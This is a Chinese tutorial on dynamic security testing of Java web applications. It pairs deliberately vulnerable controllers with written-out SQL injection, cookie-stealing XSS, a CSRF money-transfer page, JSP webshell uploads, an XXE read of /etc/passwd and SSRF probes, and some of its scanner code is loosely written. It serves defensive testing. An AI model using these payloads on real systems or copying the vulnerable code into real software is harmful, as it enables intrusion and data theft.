Java DAST(动态应用安全测试)案例详解
DAST基础概念
DAST(Dynamic Application Security Testing)是一种通过模拟攻击者行为,对运行中的Web应用进行安全测试的方法,不同于SAST(静态分析),DAST不需要源码,直接从外部测试应用。

典型Java DAST测试案例
案例1:SQL注入测试
应用场景:用户登录功能
// 目标代码(存在漏洞)
@RestController
public class LoginController {
@GetMapping("/login")
public String login(String username, String password) {
// 存在SQL注入漏洞
String sql = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";
// 执行查询...
}
}
DAST测试过程:
# 1. 基础的注入测试 GET /login?username=admin' OR '1'='1' -- &password=test # 2. 报错注入测试 GET /login?username=admin' AND 1=CONVERT(int, @@version) -- &password=test # 3. 时间盲注测试 GET /login?username=admin' IF (1=1) WAITFOR DELAY '0:0:5' -- &password=test
DAST工具自动化检测(使用OWASP ZAP):
// ZAP API调用示例
public class DASTScanner {
public void performSQLInjectionTest(String targetUrl) {
ZAPClient client = new ZAPClient("localhost", 8080);
// 配置扫描策略
ScanPolicy policy = new ScanPolicy();
policy.addAlertThreshold("sql-injection", AlertThreshold.LOW);
// 执行主动扫描
Scan scan = client.createScan(targetUrl, policy);
scan.start();
// 获取漏洞结果
List<Alert> alerts = scan.getAlerts();
for (Alert alert : alerts) {
if (alert.getRisk().equals(Risk.HIGH)) {
System.out.println("发现SQL注入漏洞: " + alert.getUrl());
System.out.println("攻击载荷: " + alert.getAttack());
}
}
}
}
案例2:XSS(跨站脚本)测试
应用场景:用户评论功能
// 目标代码(存在漏洞)
@PostMapping("/comment")
public String submitComment(String comment) {
// 直接输出未转义的评论内容
return "<div>" + comment + "</div>";
}
DAST测试过程:
# 1. 反射型XSS测试 POST /comment Content-Type: application/x-www-form-urlencoded comment=<script>alert(document.cookie)</script> # 2. 存储型XSS测试 POST /comment comment=<img src=x onerror=alert(1)> # 3. DOM型XSS测试 POST /comment comment=#<script>alert(document.domain)</script>
自动化测试代码示例:
public class XSSTester {
private static final String[] XSS_PAYLOADS = {
"<script>alert(1)</script>",
"\"><script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<svg onload=alert(1)>"
};
public void testXSS(String baseUrl) {
RestTemplate restTemplate = new RestTemplate();
for (String payload : XSS_PAYLOADS) {
// 测试反射型XSS
String url = baseUrl + "?input=" + URLEncoder.encode(payload, "UTF-8");
ResponseEntity<String> response = restTemplate.getForEntity(url, String.class);
// 检查响应中是否包含payload
if (response.getBody().contains(payload)) {
System.out.println("发现反射型XSS漏洞!Payload: " + payload);
}
// 测试存储型XSS
MultiValueMap<String, String> params = new LinkedMultiValueMap<>();
params.add("comment", payload);
restTemplate.postForEntity(baseUrl + "/comment", params, String.class);
}
}
}
案例3:CSRF(跨站请求伪造)测试
应用场景:转账功能
// 目标代码(存在CSRF漏洞)
@PostMapping("/transfer")
public String transfer(String fromAccount, String toAccount, double amount) {
// 没有CSRF Token验证
bankService.transfer(fromAccount, toAccount, amount);
return "success";
}
DAST测试过程:
<!-- 测试页面 -->
<html>
<body>
<h1>DAST CSRF 测试</h1>
<!-- 测试1: 自动提交表单 -->
<form id="csrfForm" action="http://target.com/transfer" method="POST">
<input type="hidden" name="fromAccount" value="victim">
<input type="hidden" name="toAccount" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<!-- 测试2: AJAX请求 -->
<script>
fetch('http://target.com/transfer', {
method: 'POST',
body: new URLSearchParams({
'fromAccount': 'victim',
'toAccount': 'attacker',
'amount': '10000'
})
});
</script>
</body>
</html>
DAST工具检测CSRF代码:
public class CSRFTester {
public void testCSRF(String url) throws Exception {
// 模拟正常请求
HttpGet normalRequest = new HttpGet(url);
CloseableHttpResponse normalResponse = client.execute(normalRequest);
// 检查是否有CSRF Token
String responseBody = EntityUtils.toString(normalResponse.getEntity());
boolean hasCSRFToken = responseBody.contains("csrf_token") ||
responseBody.contains("CSRFToken");
if (!hasCSRFToken) {
System.out.println("潜在的CSRF漏洞!未检测到CSRF Token");
}
// 尝试跨域请求
URLConnection connection = new URL(url).openConnection();
connection.setRequestProperty("Origin", "http://evil.com");
connection.setRequestProperty("Referer", "http://evil.com/malicious.html");
// 检查是否成功处理请求
// 如果请求成功,说明存在CSRF漏洞
}
}
案例4:文件上传漏洞测试
应用场景:文件上传功能
// 目标代码(存在漏洞)
@PostMapping("/upload")
public String uploadFile(@RequestParam("file") MultipartFile file) {
// 没有进行文件类型和内容验证
String fileName = file.getOriginalFilename();
file.transferTo(new File("/uploads/" + fileName));
return "File uploaded: " + fileName;
}
DAST测试过程:
# 1. JSP webshell上传测试 curl -X POST http://target.com/upload \ -F "file=@shell.jsp" \ -H "Content-Type: multipart/form-data" # 2. 图片马上传测试 curl -X POST http://target.com/upload \ -F "file=@shell.jpg;filename=shell.jsp" \ -F "Content-Type: image/jpeg" # 3. .htaccess覆盖测试 curl -X POST http://target.com/upload \ -F "file=@.htaccess" \ -F "Content-Type: application/octet-stream"
综合DAST测试框架
public class ComprehensiveDASTScanner {
private Set<String> vulnerabilities = new HashSet<>();
public void scanApplication(String baseUrl) {
System.out.println("开始全面DAST扫描: " + baseUrl);
// 1. 信息收集
gatherInformation(baseUrl);
// 2. 漏洞扫描
scanSQLInjection(baseUrl);
scanXSS(baseUrl);
scanCSRF(baseUrl);
scanFileUpload(baseUrl);
scanDirectoryTraversal(baseUrl);
scanSensitiveDataExposure(baseUrl);
// 3. 深度测试
performAdvancedTesting(baseUrl);
// 4. 生成报告
generateReport();
}
private void performAdvancedTesting(String baseUrl) {
// 组合攻击测试
String testPayload = "' UNION SELECT @@version -- ";
testVulnerability(baseUrl + "/search?q=" + testPayload);
// XXE测试
String xmlPayload = "<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE foo [\n" +
" <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" +
"]>\n" +
"<foo>&xxe;</foo>";
testVulnerability(baseUrl + "/api/xml", xmlPayload);
// SSRF测试
testVulnerability(baseUrl + "/fetch?url=http://127.0.0.1:8080/admin");
}
private void generateReport() {
System.out.println("\n=== DAST扫描报告 ===");
System.out.println("发现的漏洞数量: " + vulnerabilities.size());
System.out.println("详细漏洞列表:");
vulnerabilities.forEach(v -> System.out.println("- " + v));
// 计算风险等级
Map<String, Integer> riskLevels = calculateRiskLevels();
System.out.println("\n风险等级分布:");
riskLevels.forEach((level, count) ->
System.out.println(level + ": " + count + "个漏洞"));
}
}
DAST测试工具集成
使用Maven集成OWASP ZAP:
<dependencies>
<dependency>
<groupId>org.zaproxy</groupId>
<artifactId>zap-client-api</artifactId>
<version>1.7.0</version>
</dependency>
</dependencies>
自动化DAST管道:
@SpringBootApplication
public class DASTPipelineApplication {
public static void main(String[] args) {
// 配置测试环境
System.setProperty("zap.host", "localhost");
System.setProperty("zap.port", "8080");
System.setProperty("target.app", "http://localhost:3000");
// 运行DAST Pipeline
DASTPipeline pipeline = new DASTPipeline();
pipeline.run();
}
}
class DASTPipeline {
public void run() {
List<DASTTask> tasks = Arrays.asList(
new CrawlTask(),
new ActiveScanTask(),
new VulnerabilityValidationTask(),
new ReportGenerationTask()
);
for (DASTTask task : tasks) {
try {
task.execute();
task.validate();
} catch (Exception e) {
System.err.println("DAST任务失败: " + e.getMessage());
// 错误处理
}
}
}
}
最佳实践建议
-
全面覆盖测试:
- 测试所有输入点(表单、API、文件上传等)
- 测试不同HTTP方法(GET、POST、PUT、DELETE)
- 测试各种Content-Type
-
持续集成:
# Jenkins Pipeline配置 pipeline { stages { stage('DAST') { steps { sh ''' docker run -v $(pwd):/zap/wrk/:rw \\ owasp/zap2docker-weekly \\ zap-full-scan.py \\ -t http://target-app:8080 \\ -r test_report.html ''' } } } } -
结果分析:
public class VulnerabilityAnalyzer { public void analyzeResults(List<Alert> alerts) { // 去重 alerts = alerts.stream() .distinct() .collect(Collectors.toList()); // 按严重性排序 alerts.sort((a1, a2) -> Integer.compare(a2.getRisk().getWeight(), a1.getRisk().getWeight())); // 生成修复建议 for (Alert alert : alerts) { System.out.println("漏洞: " + alert.getName()); System.out.println("影响URL: " + alert.getUrl()); System.out.println("修复建议: " + alert.getSolution()); System.out.println("CVE: " + alert.getCveId()); } } }
这些DAST案例展示了如何系统地测试Java Web应用的安全漏洞,实际应用中,应该结合具体业务场景和工具链进行定制化测试。